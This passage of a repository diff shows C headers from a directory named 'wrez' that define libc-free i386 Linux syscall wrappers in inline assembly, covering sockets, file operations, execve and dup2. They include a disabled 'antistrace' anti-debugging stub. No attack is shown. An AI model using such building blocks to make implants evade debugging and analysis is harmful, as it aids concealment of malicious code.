| 174 | */ | ||
| 175 | __asm__ __volatile__ (" | ||
| 176 | pushl %3 | ||
| 177 | pushl %2 | ||
| 178 | pushl %1 | ||
| 179 | movl %%esp, %%ecx | ||
| 180 | int $0x80 | ||
| 181 | addl $0x0c, %%esp | ||
| 182 | " : "=a" (ret) | ||
| 183 | : "m" (sock), "m" (name), "m" (namelen), | ||
| 184 | "a" (__NR_socketcall), "b" (SYS_GETSOCKNAME) : "ecx"); | ||
| 185 | |||
| 186 | return (ret); | ||
| 187 | } | ||
| 188 | |||
| 189 | |||
| 190 | static inline int | ||
| 191 | getpeername (int sock, struct sockaddr_in *name, socklen_t *namelen) | ||
| 192 | { | ||
| 193 | register int ret; | ||
| 194 | |||
| 195 | /* eeks, if just inlining was better documented. | ||
| 196 | */ | ||
| 197 | __asm__ __volatile__ (" | ||
| 198 | pushl %3 | ||
| 199 | pushl %2 | ||
| 200 | pushl %1 | ||
| 201 | movl %%esp, %%ecx | ||
| 202 | int $0x80 | ||
| 203 | addl $0x0c, %%esp | ||
| 204 | " : "=a" (ret) | ||
| 205 | : "m" (sock), "m" (name), "m" (namelen), | ||
| 206 | "a" (__NR_socketcall), "b" (SYS_GETPEERNAME) : "ecx"); | ||
| 207 | |||
| 208 | return (ret); | ||
| 209 | } | ||
| 210 | |||
| 211 | |||
| 212 | static inline int | ||
| 213 | socketpair (int d, int type, int protocol, int sv[2]) | ||
| 214 | { | ||
| 215 | register int ret; | ||
| 216 | |||
| 217 | __asm__ __volatile__ (" | ||
| 218 | pushl %4 | ||
| 219 | pushl %3 | ||
| 220 | pushl %2 | ||
| 221 | pushl %1 | ||
| 222 | movl %%esp, %%ecx | ||
| 223 | int $0x80 | ||
| 224 | addl $0x10, %%esp | ||
| 225 | " : "=a" (ret) | ||
| 226 | : "m" (d), "m" (type), "m" (protocol), "m" (sv), | ||
| 227 | "a" (__NR_socketcall), "b" (SYS_SOCKETPAIR) : "ecx"); | ||
| 228 | |||
| 229 | return (ret); | ||
| 230 | } | ||
| 231 | |||
| 232 | |||
| 233 | static inline int | ||
| 234 | send (int s, const void *msg, int len, int flags) | ||
| 235 | { | ||
| 236 | register int ret; | ||
| 237 | |||
| 238 | __asm__ __volatile__ (" | ||
| 239 | pushl %4 | ||
| 240 | pushl %3 | ||
| 241 | pushl %2 | ||
| 242 | pushl %1 | ||
| 243 | movl %%esp, %%ecx | ||
| 244 | int $0x80 | ||
| 245 | addl $0x10, %%esp | ||
| 246 | " : "=a" (ret) | ||
| 247 | : "m" (s), "m" (msg), "m" (len), "m" (flags), | ||
| 248 | "a" (__NR_socketcall), "b" (SYS_SEND) : "ecx"); | ||
| 249 | |||
| 250 | return (ret); | ||
| 251 | } | ||
| 252 | |||
| 253 | |||
| 254 | static inline int | ||
| 255 | recv (int s, void *buf, int len, int flags) | ||
| 256 | { | ||
| 257 | register int ret; | ||
| 258 | |||
| 259 | __asm__ __volatile__ (" | ||
| 260 | pushl %4 | ||
| 261 | pushl %3 | ||
| 262 | pushl %2 | ||
| 263 | pushl %1 | ||
| 264 | movl %%esp, %%ecx | ||
| 265 | int $0x80 | ||
| 266 | addl $0x10, %%esp | ||
| 267 | " : "=a" (ret) | ||
| 268 | : "m" (s), "m" (buf), "m" (len), "m" (flags), | ||
| 269 | "a" (__NR_socketcall), "b" (SYS_RECV) : "ecx"); | ||
| 270 | |||
| 271 | return (ret); | ||
| 272 | } | ||
| 273 | |||
| 274 | |||
| 275 | static inline int | ||
| 276 | sendto (int s, const void *msg, int len, int flags, | ||
| 277 | const struct sockaddr_in *to, socklen_t tolen) | ||
| 278 | { | ||
| 279 | register int ret; | ||
| 280 | |||
| 281 | __asm__ __volatile__ (" | ||
| 282 | pushl %6 | ||
| 283 | pushl %5 | ||
| 284 | pushl %4 | ||
| 285 | pushl %3 | ||
| 286 | pushl %2 | ||
| 287 | pushl %1 | ||
| 288 | movl %%esp, %%ecx | ||
| 289 | int $0x80 | ||
| 290 | addl $0x18, %%esp | ||
| 291 | " : "=a" (ret) | ||
| 292 | : "m" (s), "m" (msg), "m" (len), "m" (flags), "m" (to), | ||
| 293 | "m" (tolen), "a" (__NR_socketcall), "b" (SYS_SENDTO) : "ecx"); | ||
| 294 | |||
| 295 | return (ret); | ||
| 296 | } | ||
| 297 | |||
| 298 | |||
| 299 | static inline int | ||
| 300 | recvfrom (int s, void *buf, int len, int flags, | ||
| 301 | struct sockaddr_in *from, socklen_t *fromlen) | ||
| 302 | { | ||
| 303 | register int ret; | ||
| 304 | |||
| 305 | __asm__ __volatile__ (" | ||
| 306 | pushl %6 | ||
| 307 | pushl %5 | ||
| 308 | pushl %4 | ||
| 309 | pushl %3 | ||
| 310 | pushl %2 | ||
| 311 | pushl %1 | ||
| 312 | movl %%esp, %%ecx | ||
| 313 | int $0x80 | ||
| 314 | addl $0x18, %%esp | ||
| 315 | " : "=a" (ret) | ||
| 316 | : "m" (s), "m" (buf), "m" (len), "m" (flags), "m" (from), | ||
| 317 | "m" (fromlen), "a" (__NR_socketcall), "b" (SYS_RECVFROM) : "ecx"); | ||
| 318 | |||
| 319 | return (ret); | ||
| 320 | } | ||
| 321 | |||
| 322 | |||
| 323 | static inline int | ||
| 324 | shutdown (int sock, int how) | ||
| 325 | { | ||
| 326 | register int ret; | ||
| 327 | |||
| 328 | __asm__ __volatile__ (" | ||
| 329 | pushl %2 | ||
| 330 | pushl %1 | ||
| 331 | movl %%esp, %%ecx | ||
| 332 | int $0x80 | ||
| 333 | addl $0x08, %%esp | ||
| 334 | " : "=a" (ret) | ||
| 335 | : "m" (sock), "m" (how), | ||
| 336 | "a" (__NR_socketcall), "b" (SYS_SHUTDOWN) : "ecx"); | ||
| 337 | |||
| 338 | return (ret); | ||
| 339 | } | ||
| 340 | |||
| 341 | |||
| 342 | static inline int | ||
| 343 | setsockopt (int s, int level, int optname, const void *optval, | ||
| 344 | socklen_t optlen) | ||
| 345 | { | ||
| 346 | register int ret; | ||
| 347 | |||
| 348 | __asm__ __volatile__ (" | ||
| 349 | pushl %5 | ||
| 350 | pushl %4 | ||
| 351 | pushl %3 | ||
| 352 | pushl %2 | ||
| 353 | pushl %1 | ||
| 354 | movl %%esp, %%ecx | ||
| 355 | int $0x80 | ||
| 356 | addl $0x14, %%esp | ||
| 357 | " : "=a" (ret) | ||
| 358 | : "m" (s), "m" (level), "m" (optname), "m" (optval), | ||
| 359 | "m" (optlen), "a" (__NR_socketcall), | ||
| 360 | "b" (SYS_SETSOCKOPT) : "ecx"); | ||
| 361 | |||
| 362 | return (ret); | ||
| 363 | } | ||
| 364 | |||
| 365 | |||
| 366 | static inline int | ||
| 367 | getsockopt (int s, int level, int optname, void *optval, socklen_t *optlen) | ||
| 368 | { | ||
| 369 | register int ret; | ||
| 370 | |||
| 371 | __asm__ __volatile__ (" | ||
| 372 | pushl %5 | ||
| 373 | pushl %4 | ||
| 374 | pushl %3 | ||
| 375 | pushl %2 | ||
| 376 | pushl %1 | ||
| 377 | movl %%esp, %%ecx | ||
| 378 | int $0x80 | ||
| 379 | addl $0x14, %%esp | ||
| 380 | " : "=a" (ret) | ||
| 381 | : "m" (s), "m" (level), "m" (optname), "m" (optval), | ||
| 382 | "m" (optlen), "a" (__NR_socketcall), | ||
| 383 | "b" (SYS_GETSOCKOPT) : "ecx"); | ||
| 384 | |||
| 385 | return (ret); | ||
| 386 | } | ||
| 387 | |||
| 388 | |||
| 389 | static inline int | ||
| 390 | sendmsg (int s, const void *msg, int flags) | ||
| 391 | { | ||
| 392 | register int ret; | ||
| 393 | |||
| 394 | __asm__ __volatile__ (" | ||
| 395 | pushl %3 | ||
| 396 | pushl %2 | ||
| 397 | pushl %1 | ||
| 398 | movl %%esp, %%ecx | ||
| 399 | int $0x80 | ||
| 400 | addl $0x0c, %%esp | ||
| 401 | " : "=a" (ret) | ||
| 402 | : "m" (s), "m" (msg), "m" (flags), | ||
| 403 | "a" (__NR_socketcall), "b" (SYS_SENDMSG) : "ecx"); | ||
| 404 | |||
| 405 | return (ret); | ||
| 406 | } | ||
| 407 | |||
| 408 | static inline int | ||
| 409 | recvmsg (int s, void *msg, int flags) | ||
| 410 | { | ||
| 411 | register int ret; | ||
| 412 | |||
| 413 | __asm__ __volatile__ (" | ||
| 414 | pushl %3 | ||
| 415 | pushl %2 | ||
| 416 | pushl %1 | ||
| 417 | movl %%esp, %%ecx | ||
| 418 | int $0x80 | ||
| 419 | addl $0x0c, %%esp | ||
| 420 | " : "=a" (ret) | ||
| 421 | : "m" (s), "m" (msg), "m" (flags), | ||
| 422 | "a" (__NR_socketcall), "b" (SYS_RECVMSG) : "ecx"); | ||
| 423 | |||
| 424 | return (ret); | ||
| 425 | } | ||
| 426 | |||
| 427 | #endif | ||
| 428 | |||
| 429 | |||
diff --git a/other/wrez/int80.h b/other/wrez/int80.h new file mode 100644 index 0000000..0701ba7 --- /dev/null +++ b/other/wrez/int80.h | |||
| @@ -0,0 +1,586 @@ | |||
| 1 | #ifndef INT80_H | ||
| 2 | #define INT80_H | ||
| 3 | |||
| 4 | #include "unistd.h" | ||
| 5 | |||
| 6 | #ifndef _I386_FCNTL_H | ||
| 7 | #define O_RDONLY 00 | ||
| 8 | #define O_WRONLY 01 | ||
| 9 | #define O_RDWR 02 | ||
| 10 | #define O_CREAT 0100 | ||
| 11 | #define O_TRUNC 01000 | ||
| 12 | #define O_APPEND 02000 | ||
| 13 | #define F_DUPFD 0 /* Duplicate file descriptor. */ | ||
| 14 | #define F_GETFD 1 /* Get file descriptor flags. */ | ||
| 15 | #define F_SETFD 2 /* Set file descriptor flags. */ | ||
| 16 | #define F_GETFL 3 /* Get file status flags. */ | ||
| 17 | #define F_SETFL 4 /* Set file status flags. */ | ||
| 18 | #endif | ||
| 19 | |||
| 20 | /* from bits/termios.h */ | ||
| 21 | #define TCGETS 0x5401 | ||
| 22 | #define TCSETS 0x5402 | ||
| 23 | #define TCSETSW 0x5403 | ||
| 24 | #define TCSETSF 0x5404 | ||
| 25 | |||
| 26 | #define ISIG 0000001 | ||
| 27 | #define ECHO 0000010 | ||
| 28 | |||
| 29 | |||
| 30 | /* wait bits | ||
| 31 | */ | ||
| 32 | #define WNOHANG 0x01 | ||
| 33 | #define WUNTRACED 0x02 | ||
| 34 | |||
| 35 | #define WEXITSTATUS(status) (((status) & 0xff00) >> 8) | ||
| 36 | |||
| 37 | /* If WIFSIGNALED(STATUS), the terminating signal. */ | ||
| 38 | #define WTERMSIG(status) ((status) & 0x7f) | ||
| 39 | |||
| 40 | /* If WIFSTOPPED(STATUS), the signal that stopped the child. */ | ||
| 41 | #define WSTOPSIG(status) WEXITSTATUS(status) | ||
| 42 | |||
| 43 | /* Nonzero if STATUS indicates normal termination. */ | ||
| 44 | #define WIFEXITED(status) (WTERMSIG(status) == 0) | ||
| 45 | |||
| 46 | #define WIFSIGNALED(status) (!WIFSTOPPED(status) && !WIFEXITED(status)) | ||
| 47 | |||
| 48 | /* Nonzero if STATUS indicates the child is stopped. */ | ||
| 49 | #define WIFSTOPPED(status) (((status) & 0xff) == 0x7f) | ||
| 50 | |||
| 51 | /* Nonzero if STATUS indicates the child dumped core. */ | ||
| 52 | #define WCOREDUMP(status) ((status) & WCOREFLAG) | ||
| 53 | |||
| 54 | /* Macros for constructing status values. */ | ||
| 55 | #define W_EXITCODE(ret, sig) ((ret) << 8 | (sig)) | ||
| 56 | #define W_STOPCODE(sig) ((sig) << 8 | 0x7f) | ||
| 57 | #define WCOREFLAG 0x80 | ||
| 58 | |||
| 59 | |||
| 60 | typedef unsigned char cc_t; | ||
| 61 | typedef unsigned int speed_t; | ||
| 62 | typedef unsigned int tcflag_t; | ||
| 63 | |||
| 64 | #define NCCS 32 | ||
| 65 | |||
| 66 | typedef struct { | ||
| 67 | tcflag_t c_iflag; /* input mode flags */ | ||
| 68 | tcflag_t c_oflag; /* output mode flags */ | ||
| 69 | tcflag_t c_cflag; /* control mode flags */ | ||
| 70 | tcflag_t c_lflag; /* local mode flags */ | ||
| 71 | cc_t c_line; /* line discipline */ | ||
| 72 | cc_t c_cc[NCCS]; /* control characters */ | ||
| 73 | speed_t c_ispeed; /* input speed */ | ||
| 74 | speed_t c_ospeed; /* output speed */ | ||
| 75 | } termios; | ||
| 76 | |||
| 77 | /* from bits/utsname.h and sys/utsname.h */ | ||
| 78 | #define _UTSNAME_LENGTH 65 | ||
| 79 | #define _UTSNAME_DOMAIN_LENGTH _UTSNAME_LENGTH | ||
| 80 | #define _UTSNAME_NODENAME_LENGTH _UTSNAME_LENGTH | ||
| 81 | |||
| 82 | struct utsname { | ||
| 83 | char sysname[_UTSNAME_LENGTH]; | ||
| 84 | char nodename[_UTSNAME_NODENAME_LENGTH]; | ||
| 85 | char release[_UTSNAME_LENGTH]; | ||
| 86 | char version[_UTSNAME_LENGTH]; | ||
| 87 | char machine[_UTSNAME_LENGTH]; | ||
| 88 | char domainname[_UTSNAME_DOMAIN_LENGTH]; | ||
| 89 | }; | ||
| 90 | |||
| 91 | |||
| 92 | typedef struct { | ||
| 93 | unsigned long __val[2]; | ||
| 94 | } __u_quad_t; | ||
| 95 | |||
| 96 | struct stat { | ||
| 97 | unsigned char space1[6 * 4]; | ||
| 98 | /* __uid_t */ unsigned int st_uid; /* User ID of the file's owner. */ | ||
| 99 | /* __gid_t */ unsigned int st_gid; /* Group ID of the file's group. */ | ||
| 100 | unsigned char space2[8 * 4]; | ||
| 101 | /* __time_t */ long int st_atime; /* Time of last access. */ | ||
| 102 | unsigned long int __unused1; | ||
| 103 | /* __time_t */ long int st_mtime; /* Time of last modification. */ | ||
| 104 | unsigned long int __unused2; | ||
| 105 | /* __time_t */ long int st_ctime; /* Time of last status change. */ | ||
| 106 | unsigned long int space3[8 * 4]; /* safety margin */ | ||
| 107 | }; | ||
| 108 | |||
| 109 | #if 0 | ||
| 110 | struct stat { | ||
| 111 | /* __dev_t */ __u_quad_t st_dev; /* Device. */ | ||
| 112 | unsigned short int __pad1; | ||
| 113 | /* __ino_t */ unsigned long st_ino; /* File serial number. */ | ||
| 114 | /* __mode_t */ unsigned int st_mode; /* File mode. */ | ||
| 115 | /* __nlink_t */ unsigned int st_nlink; /* Link count. */ | ||
| 116 | /* __uid_t */ unsigned int st_uid; /* User ID of the file's owner. */ | ||
| 117 | /* __gid_t */ unsigned int st_gid; /* Group ID of the file's group. */ | ||
| 118 | /* __dev_t */ __u_quad_t st_rdev; /* Device number, if device. */ | ||
| 119 | unsigned short int __pad2; | ||
| 120 | /* __off_t */ long int st_size; /* Size of file, in bytes. */ | ||
| 121 | /* __blksize_t*/long int st_blksize; /* Optimal block size for I/O. */ | ||
| 122 | |||
| 123 | /* __blkcnt_t */long int st_blocks; /* Number 512-byte blocks allocated. */ | ||
| 124 | /* __time_t */ long int st_atime; /* Time of last access. */ | ||
| 125 | unsigned long int __unused1; | ||
| 126 | /* __time_t */ long int st_mtime; /* Time of last modification. */ | ||
| 127 | unsigned long int __unused2; | ||
| 128 | /* __time_t */ long int st_ctime; /* Time of last status change. */ | ||
| 129 | unsigned long int __unused3; | ||
| 130 | unsigned long int __unused4; | ||
| 131 | unsigned long int __unused5; | ||
| 132 | }; | ||
| 133 | #endif | ||
| 134 | |||
| 135 | struct utimbuf { | ||
| 136 | /* time_t */ long int actime; /* access time */ | ||
| 137 | /* time_t */ long int modtime; /* modification time */ | ||
| 138 | }; | ||
| 139 | |||
| 140 | struct timeval { | ||
| 141 | long int tv_sec; /* seconds */ | ||
| 142 | long int tv_usec; /* microseconds */ | ||
| 143 | }; | ||
| 144 | |||
| 145 | struct dirent { | ||
| 146 | long d_ino; | ||
| 147 | int d_off; | ||
| 148 | unsigned short d_reclen; | ||
| 149 | char d_name[256]; | ||
| 150 | }; | ||
| 151 | |||
| 152 | /* from bits/mman.h */ | ||
| 153 | #define PROT_READ 0x1 | ||
| 154 | #define PROT_WRITE 0x2 | ||
| 155 | #define PROT_EXEC 0x4 | ||
| 156 | #define PROT_NONE 0x0 | ||
| 157 | #define MAP_SHARED 0x01 | ||
| 158 | #define MAP_PRIVATE 0x02 | ||
| 159 | #define MAP_TYPE 0x0f | ||
| 160 | #define MAP_FIXED 0x10 | ||
| 161 | #define MAP_ANONYMOUS 0x20 | ||
| 162 | |||
| 163 | /* from unistd.h */ | ||
| 164 | #define SEEK_SET 0 | ||
| 165 | #define SEEK_CUR 1 | ||
| 166 | #define SEEK_END 2 | ||
| 167 | |||
| 168 | extern int errno; | ||
| 169 | |||
| 170 | static inline int getdents (int fd, struct dirent *dirp, unsigned int count) | ||
| 171 | { | ||
| 172 | long ret; | ||
| 173 | |||
| 174 | __asm__ __volatile__ ("int $0x80" | ||
| 175 | : "=a" (ret) | ||
| 176 | : "a" (__NR_getdents), "b" ((long) fd), | ||
| 177 | "c" ((long) dirp), "d" ((long) count)); | ||
| 178 | |||
| 179 | return ret; | ||
| 180 | } | ||
| 181 | |||
| 182 | static inline int settimeofday (struct timeval *tv, void *tz) | ||
| 183 | { | ||
| 184 | long ret; | ||
| 185 | |||
| 186 | __asm__ __volatile__ ("int $0x80" | ||
| 187 | : "=a" (ret) | ||
| 188 | : "a" (__NR_settimeofday), "b" ((long) tv), | ||
| 189 | "c" ((long) tz)); | ||
| 190 | |||
| 191 | return ret; | ||
| 192 | } | ||
| 193 | |||
| 194 | static inline int gettimeofday (struct timeval *tv, void *tz) | ||
| 195 | { | ||
| 196 | long ret; | ||
| 197 | |||
| 198 | __asm__ __volatile__ ("int $0x80" | ||
| 199 | : "=a" (ret) | ||
| 200 | : "a" (__NR_gettimeofday), "b" ((long) tv), | ||
| 201 | "c" ((long) tz)); | ||
| 202 | |||
| 203 | return ret; | ||
| 204 | } | ||
| 205 | |||
| 206 | static inline int stat (char *filename, struct stat *sst) | ||
| 207 | { | ||
| 208 | long ret; | ||
| 209 | |||
| 210 | __asm__ __volatile__ ("int $0x80" | ||
| 211 | : "=a" (ret) | ||
| 212 | : "a" (__NR_stat64), "b" ((long) filename), | ||
| 213 | "c" ((long) sst)); | ||
| 214 | |||
| 215 | return ret; | ||
| 216 | } | ||
| 217 | |||
| 218 | static inline int utime (char *filename, struct utimbuf *buf) | ||
| 219 | { | ||
| 220 | long ret; | ||
| 221 | |||
| 222 | __asm__ __volatile__ ("int $0x80" | ||
| 223 | : "=a" (ret) | ||
| 224 | : "a" (__NR_utime), "b" ((long) filename), | ||
| 225 | "c" ((long) buf)); | ||
| 226 | |||
| 227 | return ret; | ||
| 228 | } | ||
| 229 | |||
| 230 | static inline int munmap (char *start, int length) | ||
| 231 | { | ||
| 232 | long ret; | ||
| 233 | |||
| 234 | __asm__ __volatile__ ("int $0x80" | ||
| 235 | : "=a" (ret) | ||
| 236 | : "a" (__NR_munmap), "b" ((long) start), | ||
| 237 | "c" ((int) length)); | ||
| 238 | |||
| 239 | return ret; | ||
| 240 | } | ||
| 241 | |||
| 242 | #if 0 | ||
| 243 | static inline int ioctl (int d, int request, int argp) | ||
| 244 | { | ||
| 245 | long ret; | ||
| 246 | |||
| 247 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 248 | "movl %%esi, %%ebx\n\t" | ||
| 249 | "int $0x80" | ||
| 250 | :"=a" (ret) | ||
| 251 | :"0" (__NR_ioctl), "S" ((long)d), | ||
| 252 | "c" ((long)request), "d" ((long)argp): "bx"); | ||
| 253 | return ret; | ||
| 254 | } | ||
| 255 | |||
| 256 | static inline int fcntl (int fd, int cmd, long arg) | ||
| 257 | { | ||
| 258 | long ret; | ||
| 259 | |||
| 260 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 261 | "movl %%esi, %%ebx\n\t" | ||
| 262 | "int $0x80" | ||
| 263 | :"=a" (ret) | ||
| 264 | :"0" (__NR_fcntl), "S" ((long)fd), | ||
| 265 | "c" ((long)cmd), "d" ((long)arg): "bx"); | ||
| 266 | return ret; | ||
| 267 | } | ||
| 268 | #endif | ||
| 269 | |||
| 270 | static inline int lseek (int fd, unsigned long int offset, int whence) | ||
| 271 | { | ||
| 272 | long ret; | ||
| 273 | |||
| 274 | __asm__ __volatile__ ("int $0x80" | ||
| 275 | : "=a" (ret) | ||
| 276 | : "a" (__NR_lseek), "b" ((long) fd), | ||
| 277 | "c" ((long) offset), "d" ((long) whence)); | ||
| 278 | |||
| 279 | return ret; | ||
| 280 | } | ||
| 281 | |||
| 282 | #if 0 | ||
| 283 | static inline int mprotect(void *addr, long len, int prot) | ||
| 284 | { | ||
| 285 | long ret; | ||
| 286 | |||
| 287 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 288 | "movl %%esi, %%ebx\n\t" | ||
| 289 | "int $0x80" | ||
| 290 | :"=a" (ret) | ||
| 291 | :"0" (__NR_mprotect), "S" ((long)addr), | ||
| 292 | "c" ((long)len), "d" ((long)prot): "bx"); | ||
| 293 | return ret; | ||
| 294 | } | ||
| 295 | #endif | ||
| 296 | |||
| 297 | |||
| 298 | static inline int read(int fd, void *buf, long count) | ||
| 299 | { | ||
| 300 | long ret; | ||
| 301 | |||
| 302 | __asm__ __volatile__ ("int $0x80" | ||
| 303 | : "=a" (ret) | ||
| 304 | : "a" (__NR_read), "b" ((long) fd), | ||
| 305 | "c" ((long) buf), "d" ((long) count)); | ||
| 306 | |||
| 307 | return ret; | ||
| 308 | } | ||
| 309 | |||
| 310 | |||
| 311 | static inline int write(int fd, void *buf, long count) | ||
| 312 | { | ||
| 313 | long ret; | ||
| 314 | |||
| 315 | __asm__ __volatile__ ("int $0x80" | ||
| 316 | : "=a" (ret) | ||
| 317 | : "a" (__NR_write), "b" ((long) fd), | ||
| 318 | "c" ((long) buf), "d" ((long) count)); | ||
| 319 | |||
| 320 | return ret; | ||
| 321 | } | ||
| 322 | |||
| 323 | static inline int waitpid (int pid, int *status, int options) | ||
| 324 | { | ||
| 325 | long ret; | ||
| 326 | |||
| 327 | __asm__ __volatile__ ("int $0x80" | ||
| 328 | : "=a" (ret) | ||
| 329 | : "a" (__NR_waitpid), "b" ((long) pid), | ||
| 330 | "c" ((long) status), "d" ((long) options)); | ||
| 331 | |||
| 332 | return ret; | ||
| 333 | } | ||
| 334 | |||
| 335 | #define wait(status) waitpid(-1,status,0) | ||
| 336 | |||
| 337 | static inline int unlink (char *pathname) | ||
| 338 | { | ||
| 339 | long ret; | ||
| 340 | |||
| 341 | __asm__ __volatile__ ("int $0x80" | ||
| 342 | : "=a" (ret) | ||
| 343 | : "a" (__NR_unlink), "b" ((long)pathname)); | ||
| 344 | |||
| 345 | return ret; | ||
| 346 | } | ||
| 347 | |||
| 348 | static inline int uname(struct utsname *un) | ||
| 349 | { | ||
| 350 | long ret; | ||
| 351 | |||
| 352 | __asm__ __volatile__ ("int $0x80" | ||
| 353 | : "=a" (ret) | ||
| 354 | : "a" (__NR_uname), "b" ((long) un)); | ||
| 355 | return ret; | ||
| 356 | } | ||
| 357 | |||
| 358 | |||
| 359 | static inline int execve(char *s, char **argv, char **envp) | ||
| 360 | { | ||
| 361 | long ret; | ||
| 362 | |||
| 363 | __asm__ __volatile__ ("int $0x80" | ||
| 364 | :"=a" (ret) | ||
| 365 | :"a" (__NR_execve), "b" ((long)s), | ||
| 366 | "c" ((long)argv), "d" ((long)envp)); | ||
| 367 | return ret; | ||
| 368 | } | ||
| 369 | |||
| 370 | |||
| 371 | #if 0 | ||
| 372 | |||
| 373 | static inline int setreuid(int reuid, int euid) | ||
| 374 | { | ||
| 375 | long ret; | ||
| 376 | |||
| 377 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 378 | "movl %%esi, %%ebx\n\t" | ||
| 379 | "int $0x80" | ||
| 380 | :"=a" (ret) | ||
| 381 | :"0" (__NR_setreuid), "S" ((long)reuid), | ||
| 382 | "c" ((long)euid): "bx"); | ||
| 383 | return ret; | ||
| 384 | } | ||
| 385 | |||
| 386 | static inline int chroot(char *path) | ||
| 387 | { | ||
| 388 | long ret; | ||
| 389 | |||
| 390 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 391 | "movl %%esi, %%ebx\n\t" | ||
| 392 | "int $0x80" | ||
| 393 | :"=a" (ret) | ||
| 394 | :"0" (__NR_chroot), "S" ((long)path): "bx"); | ||
| 395 | return ret; | ||
| 396 | } | ||
| 397 | |||
| 398 | static inline int brk(void *addr) | ||
| 399 | { | ||
| 400 | long ret; | ||
| 401 | |||
| 402 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 403 | "movl %%esi, %%ebx\n\t" | ||
| 404 | "int $0x80" | ||
| 405 | :"=a" (ret) | ||
| 406 | :"0" (__NR_brk), "S" (addr): "bx"); | ||
| 407 | return (ret); | ||
| 408 | } | ||
| 409 | |||
| 410 | static inline int dup(int fd) | ||
| 411 | { | ||
| 412 | long ret; | ||
| 413 | |||
| 414 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 415 | "movl %%esi, %%ebx\n\t" | ||
| 416 | "int $0x80" | ||
| 417 | :"=a" (ret) | ||
| 418 | :"0" (__NR_dup), "S" (fd): "bx"); | ||
| 419 | return ret; | ||
| 420 | } | ||
| 421 | |||
| 422 | |||
| 423 | #endif | ||
| 424 | |||
| 425 | static inline int _exit(int level) | ||
| 426 | { | ||
| 427 | long ret; | ||
| 428 | |||
| 429 | __asm__ __volatile__ ("int $0x80" | ||
| 430 | :"=a" (ret) | ||
| 431 | :"a" (__NR_exit), "b" (level)); | ||
| 432 | return (ret); | ||
| 433 | } | ||
| 434 | |||
| 435 | static inline int dup2(int ofd, int nfd) | ||
| 436 | { | ||
| 437 | long ret; | ||
| 438 | |||
| 439 | __asm__ __volatile__ ("int $0x80" | ||
| 440 | :"=a" (ret) | ||
| 441 | :"a" (__NR_dup2), "b" (ofd), "c" (nfd)); | ||
| 442 | return ret; | ||
| 443 | } | ||
| 444 | |||
| 445 | static inline int open(char *path, int mode, int flags) | ||
| 446 | { | ||
| 447 | long ret; | ||
| 448 | |||
| 449 | __asm__ __volatile__ ("int $0x80" | ||
| 450 | : "=a" (ret) | ||
| 451 | : "a" (__NR_open), "b" ((long) path), | ||
| 452 | "c" ((int) mode), "d" ((int) flags)); | ||
| 453 | |||
| 454 | return ret; | ||
| 455 | } | ||
| 456 | |||
| 457 | |||
| 458 | |||
| 459 | #if 0 | ||
| 460 | static inline int chdir(char *path) | ||
| 461 | { | ||
| 462 | long ret; | ||
| 463 | |||
| 464 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 465 | "movl %%esi, %%ebx\n\t" | ||
| 466 | "int $0x80" | ||
| 467 | :"=a" (ret) | ||
| 468 | :"0" (__NR_chdir), "S" ((long)path): "bx"); | ||
| 469 | return ret; | ||
| 470 | } | ||
| 471 | #endif | ||
| 472 | |||
| 473 | static inline int close(int fd) | ||
| 474 | { | ||
| 475 | long ret; | ||
| 476 | |||
| 477 | __asm__ __volatile__ ("int $0x80" | ||
| 478 | :"=a" (ret) | ||
| 479 | :"a" (__NR_close), "b" ((int)fd)); | ||
| 480 | return ret; | ||
| 481 | } | ||
| 482 | |||
| 483 | |||
| 484 | static inline int chown(char *path, int uid, int gid) | ||
| 485 | { | ||
| 486 | long ret; | ||
| 487 | |||
| 488 | __asm__ __volatile__ ("int $0x80" | ||
| 489 | : "=a" (ret) | ||
| 490 | : "a" (__NR_chown), "b" ((long)path), | ||
| 491 | "c" ((int)uid), "d" ((int)gid)); | ||
| 492 | |||
| 493 | return ret; | ||
| 494 | } | ||
| 495 | |||
| 496 | static inline int rename(char *oldpath, char *newpath) | ||
| 497 | { | ||
| 498 | long ret; | ||
| 499 | |||
| 500 | __asm__ __volatile__ ("int $0x80" | ||
| 501 | : "=a" (ret) | ||
| 502 | : "a" (__NR_rename), "b" ((long)oldpath), | ||
| 503 | "c" ((int) newpath)); | ||
| 504 | return ret; | ||
| 505 | } | ||
| 506 | |||
| 507 | #if 0 | ||
| 508 | static inline int chmod(char *path, int mode) | ||
| 509 | { | ||
| 510 | long ret; | ||
| 511 | |||
| 512 | __asm__ __volatile__ ("pushl %%ebx\n\t" | ||
| 513 | "movl %%esi, %%ebx\n\t" | ||
| 514 | "int $0x80" | ||
| 515 | :"=a" (ret) | ||
| 516 | :"0" (__NR_chmod), "S" ((long)path), | ||
| 517 | "c" ((int)mode): "bx"); | ||
| 518 | return ret; | ||
| 519 | } | ||
| 520 | |||
| 521 | static inline int sync(void) | ||
| 522 | { | ||
| 523 | long ret; | ||
| 524 | |||
| 525 | __asm__ __volatile__ ("int $0x80" | ||
| 526 | :"=a" (ret) | ||
| 527 | :"0" (__NR_sync)); | ||
| 528 | |||
| 529 | return (ret); | ||
| 530 | } | ||
| 531 | |||
| 532 | static inline int antistrace(void) | ||
| 533 | { | ||
| 534 | long ret; | ||
| 535 | |||
| 536 | __asm__ __volatile__ ("int $0x03\n\t" | ||
| 537 | :"=a" (ret) | ||
| 538 | : ); | ||
| 539 | return (ret); | ||
| 540 | } | ||
| 541 | #endif | ||
| 542 | |||
| 543 | #define SIG_DFL 0 | ||
| 544 | #define SIGHUP 1 | ||
| 545 | #define SIGINT 2 | ||
| 546 | #define SIGQUIT 3 | ||
| 547 | #define SIGILL 4 | ||
| 548 | #define SIGTRAP 5 | ||
| 549 | #define SIGABRT 6 | ||
| 550 | #define SIGFPE 8 | ||
| 551 | #define SIGKILL 9 | ||
| 552 | #define SIGUSR1 10 | ||
| 553 | #define SIGSEGV 11 | ||
| 554 | #define SIGUSR2 12 | ||
| 555 | #define SIGPIPE 13 | ||
| 556 | #define SIGALRM 14 | ||
| 557 | #define SIGTERM 15 | ||
| 558 | #define SIGCHLD 17 | ||
| 559 | #define SIGCONT 18 | ||
| 560 | #define SIGSTOP 19 | ||
| 561 | |||
